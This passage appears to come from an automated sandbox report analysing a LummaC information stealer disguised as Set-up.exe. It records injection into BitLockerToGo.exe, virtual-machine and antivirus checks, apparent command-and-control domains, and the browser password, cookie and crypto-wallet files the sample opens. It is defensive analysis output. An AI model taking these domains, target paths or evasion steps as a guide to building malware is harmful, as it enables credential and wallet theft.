Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior

Source: Set-up.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Set-up.exe

Static file information: File size 3815936 > 1048576

Source: Set-up.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1b4a00
Source: Set-up.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x1ba400

Source: Set-up.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: Set-up.exe, 00000000.00000002.1949249504.00000000124F8000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: Set-up.exe, 00000000.00000002.1949249504.00000000124F8000.00000004.00001000.00020000.00000000.sdmp

Source: Set-up.exe

Static PE information: real checksum: 0x3a6d9c should be: 0x3accda

Source: Set-up.exe

Static PE information: section name: .symtab

Source: C:\Users\user\Desktop\Set-up.exe	Code function: 0_2_00D5D051 pushfd ; ret	0_2_00D5D052
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0043F000 push eax; mov dword ptr [esp], 5B5A5908h	3_2_0043F005
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00443B95 push eax; retf	3_2_00443B96
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00445408 push ebp; ret	3_2_00445409
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_0044866F pushfd ; retf	3_2_00448677

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49848

Source: C:\Users\user\Desktop\Set-up.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 3104

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: BitLockerToGo.exe, 00000005.00000002.2916359060.000000000312B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllN
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017605076.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2414604096.0000000002F5C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243026142.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017496904.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2028192679.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2414604096.0000000002F8B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2059888073.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017605076.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243026142.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017496904.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2028192679.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2414604096.0000000002F8B000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2059888073.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=N;k
Source: Set-up.exe, 00000000.00000002.1942044155.00000000016E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

API call chain: ExitProcess graph end node

graph_3-13658

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_0043D910 LdrInitializeThunk,

3_2_0043D910

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Set-up.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2890000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Set-up.exe, 00000000.00000002.1942509303.000000001205A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mooncobudy.click

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CDF008	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 445000	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 453000	Jump to behavior

Source: C:\Users\user\Desktop\Set-up.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"			Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00438040 cpuid

3_2_00438040

Source: C:\Users\user\Desktop\Set-up.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Set-up.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000003.00000003.2059872952.00000000055BA000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2241795893.00000000055B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %\Windows Defender\MsMpeng.exe
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2027966872.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2028192679.0000000002F88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected GO Backdoor

Source: Yara match	File source: 00000005.00000002.2917453173.000000000BD42000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 5040, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7020, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000003.00000003.2017496904.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: BitLockerToGo.exe, 00000003.00000003.2017605076.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: BitLockerToGo.exe, 00000003.00000003.2028428520.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: BitLockerToGo.exe, 00000003.00000003.2017496904.0000000002F6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000003.00000003.2017321286.0000000002FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
